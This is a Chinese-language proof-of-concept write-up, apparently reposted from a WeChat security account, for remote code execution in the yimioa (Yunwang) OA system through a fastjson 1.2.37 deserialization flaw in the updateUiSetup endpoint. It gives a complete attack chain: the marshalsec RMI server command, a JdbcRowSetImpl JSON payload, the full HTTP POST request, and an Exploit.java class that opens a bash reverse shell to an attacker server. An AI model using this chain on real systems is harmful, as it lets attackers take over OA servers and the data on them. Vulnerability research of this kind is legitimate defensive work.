下载地址:
https://gitee.com/bestfeng/yimioa?_from=gitee_search安装的话参考他的官网就行了。
里面有详细的安装步骤。
项目中使用到的是fastjson1.2.37版本。
漏洞点在: 这里使用到了ParseObject方法。
com.cloudweb.oa.controller.updateUiSetup
使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI监听。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389
开一个python web服务。
python -m http.server 8000payload如下:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}请求包如下:
POST /oa//setup/updateUiSetup HTTP/1.1Host: 192.168.0.7:8096Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=85F37A117572BE90EA4BA0ED10F77EF5Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 196uiSetup={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}
可以看到接收到了uiSetup参数:
最终反序列化执行:
Exploit.java如下:
public class Exploit {public Exploit(){try {java.lang.Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/服务器IP/12345 0>&1"});}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){Exploit e = new Exploit();}}
原文始发于微信公众号（Relay学安全）：云网OA最新版 FastJson RCE
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